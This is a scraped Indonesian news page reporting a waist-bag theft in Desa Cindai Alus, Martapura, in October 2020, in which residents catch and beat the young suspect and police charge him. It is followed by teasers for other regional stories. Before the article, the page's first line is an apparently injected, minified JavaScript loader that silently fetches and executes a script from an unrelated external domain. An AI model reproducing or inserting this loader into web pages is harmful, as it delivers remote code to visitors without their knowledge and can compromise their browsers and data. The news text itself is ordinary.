(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Aksi pencurian tas pinggang di rumah warga Desa Cindai Alus RT 08 RW 03, Kecamatan Martapura Kota, Kabupaten Banjar, Rabu (28/10/2020) terungkap. Tidak sampai 24 jam, polisi telah berhasil menangkap pelaku.
Ia tak lain adalah JE (20), seorang pekerja jaga tambak ikan di Desa Cindai Alus. JE dibekuk saat bersembunyi di semak belukar.
Kapolsek Martapura Kota AKP Suroto, melalui Kanit Reskrim Polsek Martapura Kota Iptu B Munthe membenarkan kalau pihaknya telah mengamankan seorang laki-laki yang melakukan pencurian.
Dalam aksinya pelaku beraksi seorang diri, kejadian tersebut terjadi pada pukul 22:15 Wita.
Saat korban sedang berjualan di toko kelontong miliknya bersama anak dan istrinya, yang letaknya persis di depan rumah korban berjarak sekitar 15 meter.
Selanjutnya ia kemudian, karena mau tutup lalu korban masuk ke dalam rumah dan kaget melihat tas miliknya yang diletakkan di ruang tamu sudah tidak ada.
“Saat pelaku berhasil mengambil tas pinggang, kemudian korban melihat keluar di samping rumah ternyata sekilas ada orang berlari, kemudian korban berteriak maling, warga yang mendengar teriakan tersebut langsung mengejar pelaku,” kata Iptu B. Munthe kepada kanalkalimantan.com, Kamis (29/10/2020) malam.
Pelaku berhasil diamankan oleh warga, saat pelaku bersembunyi di semak belukar dekat kuburan samping rumah korban, berjarak 30 meter dari TKP aksi. Namun warga kadung sudah naik pitam, pelaku pun langsung dihajar warga hingga babak belur.
Selain menangkap pelaku, polisi juga mengamankan sejumlah barang bukti, dengan kerugian ditaksir Rp 3 juta.
“Di dalam tas pinggang warna merah milik korban yang gagal digondol pelaku sendiri ada dua unit handpone merk Samsung dan Advan, dan uang tunai Rp 500 ribu,” sebut Munthe.
Munthe juga mengatakan, pelaku adalah pemain baru dan belum pernah ditahan dengan kasus pidana apapun. Saat ini pelaku ditahan di Mapolsek Martapura Kota.
“Atas perbuatanya pelaku dijerat dengan pasal 363 KUHP tentang pencurian dengan pemberatan ancaman hukuman 7 tahun penjara,” tegas Munthe. (Kanalkalimantan.com/wahyu)
Reporter: Wahyu
Editor: Cell
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru tengah menggodok Rancangan Peraturan Daerah… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
This website uses cookies.